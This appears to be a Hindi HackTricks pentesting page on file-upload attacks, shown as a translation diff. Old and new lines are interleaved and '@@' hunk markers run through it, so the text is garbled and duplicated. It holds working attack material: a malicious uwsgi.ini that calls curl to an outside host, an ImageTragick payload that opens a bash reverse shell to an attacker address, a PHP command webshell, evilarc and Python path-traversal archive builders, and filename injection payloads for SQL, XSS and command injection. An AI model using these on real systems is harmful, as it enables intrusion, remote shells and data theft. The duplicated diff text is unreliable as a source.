3. फ़ाइल का नाम `"."`, "..” या "…” जैसा होना कोशिश करें। उदाहरण के लिए, Apache में Windows पर यदि एप्लिकेशन अपलोड की गई फ़ाइलों को "/www/uploads/" निर्देशिका में सहेजता है, तो "." फ़ाइलनाम "/www/" निर्देशिका में "uploads" नाम की फ़ाइल बना देगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया न जा सके, जैसे **"…:.jpg”** NTFS में। (Windows)
5. Windows में ऐसे फ़ाइल नाम के साथ अपलोड करें जिनमें अवैध वर्ण हों जैसे `|<>*?”`।
6. Windows में reserved (forbidden) नामों का उपयोग करके फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
- किसी executable (.exe) या एक .html (कम संदेहजनक) फ़ाइल को भी अपलोड करने की कोशिश करें जो victim द्वारा गलती से खोलने पर कोड execute कर दे।
### विशेष एक्सटेंशन ट्रिक्स
### Special extension tricks
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)।\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
यदि आप फ़ाइलें किसी **PHP server** पर अपलोड करने की कोशिश कर रहे हैं, तो कोड execute करने के लिए [**.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
यदि आप किसी **ASP server** पर फ़ाइलें अपलोड कर रहे हैं, तो कोड execute करने के लिए [**.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.phar` फ़ाइलें java के `.jar` जैसी होती हैं, पर php के लिए, और इन्हें **php फ़ाइल की तरह उपयोग** किया जा सकता है (php के साथ execute करना, या किसी स्क्रिप्ट में include करना...)
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**।
`.inc` extension कभी-कभी php फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें import करने के लिए होते हैं, इसलिए कभी-कभी किसी ने इस extension को execute करने की अनुमति दे दी हो सकती है।
## **Jetty RCE**
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**।** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की अपेक्षा करें!
यदि आप किसी Jetty सर्वर में XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE हासिल कर सकते हैं क्योंकि **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** जैसा कि निम्नलिखित इमेज में बताया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद करें!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)।
इस vulnerability की विस्तृत जांच के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है तो uWSGI सर्वरों में रिमोट कमांड निष्पादन (RCE) भेद्यताओं का शोषण किया जा सकता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
Remote Command Execution (RCE) vulnerabilities उन uWSGI सर्वरों में exploit की जा सकती हैं जहाँ किसी के पास `.ini` configuration फ़ाइल को संशोधित करने की क्षमता हो। uWSGI configuration फाइलें "magic" variables, placeholders, और operators को शामिल करने के लिए विशेष syntax का उपयोग करती हैं। विशेष रूप से, '@' operator, `@(filename)` के रूप में उपयोग किया जाता है, यह फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न supported schemes में से, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी प्रक्रिया के standard output से डेटा पढ़ने की अनुमति देता है। जब कोई `.ini` configuration फ़ाइल process की जाती है, तो इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है।
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
निम्नलिखित हानिकारक `uwsgi.ini` फ़ाइल का एक उदाहरण विचार करें, जो विभिन्न schemes को दर्शाती है:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
यह समझना महत्वपूर्ण है कि uWSGI की configuration file parsing कितनी ढीली है। विशेष रूप से, चर्चित payload को एक binary file (जैसे image या PDF) में insert किया जा सकता है, जो संभावित exploitation के दायरे को और बढ़ा देता है।
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
## **wget File Upload/SSRF Trick**
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
कुछ मामलों में आप पाएंगे कि सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड** करने के लिए कर रहा है और आप **URL** निर्दिष्ट कर सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि डाउनलोड की गई फ़ाइलों का extension एक whitelist के अंदर है ताकि केवल अनुमत फ़ाइलें डाउनलोड हों। हालांकि, **यह जाँच bypass की जा सकती है।**\
**linux** में एक **filename** की **maximum** लंबाई **255** है, हालांकि **wget** फ़ाइल नामों को **236** characters तक truncate कर देता है। आप **download a file called "A"\*232+".php"+".gif"** कर सकते हैं; यह filename **check को bypass** कर देगा (जैसा कि इस उदाहरण में **".gif"** एक **valid** extension है) लेकिन `wget` फ़ाइल को **rename** करके **"A"\*232+".php"** कर देगा।
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,63 +156,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
ध्यान दें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच सकते हैं, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जाता क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**।
ध्यान दें कि **एक और विकल्प** जो आप इस चेक को बायपास करने के लिए सोच रहे होंगे वह यह है कि **HTTP server को किसी अलग फाइल पर redirect** कर दिया जाए, ताकि शुरुआती URL चेक को बायपास कर दे और फिर wget redirected फाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को `--trust-server-names` पैरामीटर के साथ उपयोग न किया गया हो क्योंकि **wget redirected पेज को मूल URL में बताये गए फाइल नाम के साथ ही डाउनलोड करेगा**।
## उपकरण
## टूल्स
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters and Bug Hunters को file upload mechanisms के परीक्षण में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न bug bounty तकनीकों का उपयोग करके कमजोरियों की पहचान और exploitation की प्रक्रिया को सरल बनाता है, और web applications का thorough आकलन सुनिश्चित करता है।
## फ़ाइल अपलोड से अन्य कमजोरियों तक
### snprintf quirks के साथ upload indices को corrupt करना (historical)
- **filename** को `../../../tmp/lol.png` पर सेट करें और **पथ यात्रा** प्राप्त करने का प्रयास करें
- **filename** को `sleep(10)-- -.jpg` पर सेट करें और आप **SQL इंजेक्शन** प्राप्त करने में सक्षम हो सकते हैं
- **filename** को `<svg onload=alert(document.domain)>` पर सेट करें ताकि XSS प्राप्त किया जा सके
- **filename** को `; sleep 10;` पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md))
- [**XSS** इमेज (svg) फ़ाइल अपलोड में](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कार्यकर्ता** शोषण](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE svg अपलोड में**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**ओपन रीडायरेक्ट** svg फ़ाइल अपलोड के माध्यम से](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए संकेत कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी निर्दिष्ट कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
- [PDF-Adobe अपलोड के साथ **XXE और CORS** बायपास](pdf-upload-xxe-and-cors-bypass.md)
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे **PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
- फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
कुछ legacy upload handlers जो `snprintf()` या इसी तरह के फ़ंक्शन का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES` संरचना को फ़ोर्ज करने के लिए trick किया जा सकता है। `snprintf()` के inconsistent और truncation व्यवहार के कारण, सावधानीपूर्वक निर्मित एक single upload सर्वर साइड पर कई indexed files के रूप में दिखाई दे सकता है, जिससे वह logic भ्रमित हो जाता है जो एक सख्त आकार मानता है (उदा., इसे multi-file upload मानकर unsafe branches पर जाना)। आज के समय में यह पैटर्न niche है, फिर भी यह “index corruption” pattern कभी-कभी CTFs और पुराने codebases में फिर से उभरता है।
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से [यहाँ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
## फ़ाइल अपलोड से अन्य कमजोरियाँ
1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE
2. **SVG**: स्टोर की गई XSS / SSRF / XXE
3. **GIF**: स्टोर की गई XSS / SSRF
4. **CSV**: CSV इंजेक्शन
- **filename** को `../../../tmp/lol.png` पर सेट करें और **path traversal** हासिल करने की कोशिश करें
- **filename** को `sleep(10)-- -.jpg` पर सेट करें और आप संभवतः **SQL injection** प्राप्त कर सकते हैं
- **filename** को `<svg onload=alert(document.domain)>` पर सेट करें ताकि XSS हो सके
- **filename** को `; sleep 10;` पर सेट करके कुछ command injection का परीक्षण करें (अधिक [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- अगर आप web server को किसी URL से image पकड़ने के लिए निर्देशित कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह **image** किसी **public** साइट पर **saved** की जा रही है, तो आप [https://iplogger.org/invisible/] से एक URL भी दे सकते हैं और हर विज़िटर की जानकारी **steal** कर सकते हैं।
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). अगर आप PDFs upload कर सकते हैं तो आप ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों का पालन करते हुए arbitrary JS execute करेगा।
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content ताकि यह जाँचा जा सके कि सर्वर में कोई **antivirus** है या नहीं
- जाँचें कि फ़ाइलें upload करने पर कोई **size limit** है या नहीं
यहाँ एक टॉप 10 सूची है कि आप अपलोड करके क्या हासिल कर सकते हैं (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
8. **PNG / JPEG**: पिक्सेल बाढ़ हमला (DoS)
9. **ZIP**: LFI / DoS के माध्यम से RCE
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### बर्प एक्सटेंशन
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## जादुई हेडर बाइट्स
## मैजिक हेडर बाइट्स
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) देखें।
अन्य filetypes के लिए [https://en.wikipedia.org/wiki/List_of_file_signatures] देखें।
## ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड
## Zip/Tar फ़ाइल का सर्वर पर स्वतः अनपैक होने वाला अपलोड
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
अगर आप ऐसा ZIP upload कर सकते हैं जिसे सर्वर के अंदर decompress किया जाएगा, तो आप दो चीज़ें कर सकते हैं:
### सिमलिंक
### Symlink
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचकर आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
ऐसा archive upload करें जिसमें अन्य फ़ाइलों के soft links शामिल हों; फिर जब आप decompressed फ़ाइलों तक पहुँचेंगे तो आप linked फ़ाइलों तक भी पहुँच प्राप्त कर लेंगे:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -220,18 +225,18 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा प्रदान कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका traversal क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
Decompression के दौरान directories में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। शुरुआती धारणा के बावजूद कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा कर सकता है, ZIP archive format के hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers decompression functionality को manipulate करके restrictions को bypass कर secure upload directories से बाहर निकल सकते हैं।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
इसके अतिरिक्त, **evilarc के साथ symlink ट्रिक** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को लक्ष्य बनाना है, तो उस फ़ाइल के लिए अपने सिस्टम में एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना न करे।
नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:
नीचे एक उदाहरण दिया गया है Python कोड का, जिसका उपयोग एक malicious zip file बनाने के लिए किया जाता है:
```python
#!/usr/bin/python
import zipfile
@ -249,11 +254,11 @@ zip.close()
create_zip()
```
**फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग**
**Abusing compression for file spraying**
अधिक विवरण के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP शेल बनाना**: PHP कोड लिखा गया है ताकि `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित किया जा सके।
1. **PHP Shell बनाना**: PHP कोड लिखा गया है जो `$_REQUEST` वेरियेबल के माध्यम से पास किए गए कमांड्स को चलाता है।
```php
<?php
@ -263,14 +268,14 @@ system($cmd);
}?>
```
2. **फाइल स्प्रेइंग और संकुचित फाइल निर्माण**: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक ज़िप आर्काइव तैयार किया जाता है।
2. **File Spraying और Compressed File Creation**: कई फाइलें बनाई जाती हैं और इन फाइलों को सम्मिलित करते हुए एक zip archive बनाया जाता है।
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **हैक्स संपादक या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नामों को vi या हैक्स संपादक का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है।
3. **Hex Editor या vi के साथ संशोधन**: zip के अंदर मौजूद फाइलों के नाम vi या hex editor से बदले जाते हैं — 'xxA' को '../' में बदलकर directories को traverse किया जाता है।
```bash
:set modifiable
@ -280,38 +285,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
इस कंटेंट को image extension के साथ upload करें ताकि यह vulnerability exploit की जा सके **(ImageMagick , 7.0.1-1)** (exploit के लिए देखें: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNG में PHP शेल एम्बेड करना
## PNG में PHP Shell एम्बेड करना
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
PNG फ़ाइल के IDAT chunk में PHP shell एम्बेड करने से कुछ छवि प्रसंस्करण ऑपरेशनों को प्रभावी रूप से बाइपास किया जा सकता है। PHP-GD के फ़ंक्शन `imagecopyresized` और `imagecopyresampled` इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर छवियों को resizing और resampling करने के लिए इस्तेमाल किया जाता है। इन ऑपरेशनों से प्रभावित न होने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
इस तकनीक का विस्तृत अन्वेषण, इसकी कार्यप्रणाली और संभावित उपयोग सहित, निम्नलिखित लेख में दिया गया है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
अधिक जानकारी के लिए: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
अधिक जानकारी: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## पॉलीग्लॉट फ़ाइलें
## Polyglot फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो ऐसे गिरगिट की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं।
Polyglot फ़ाइलें साइबर सुरक्षा में एक अनोखा उपकरण हैं, जो चमेली की तरह काम करती हैं और एक साथ कई फ़ाइल फ़ॉर्मैट्स में वैध रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, एक हाइब्रिड जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें केवल इसी जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
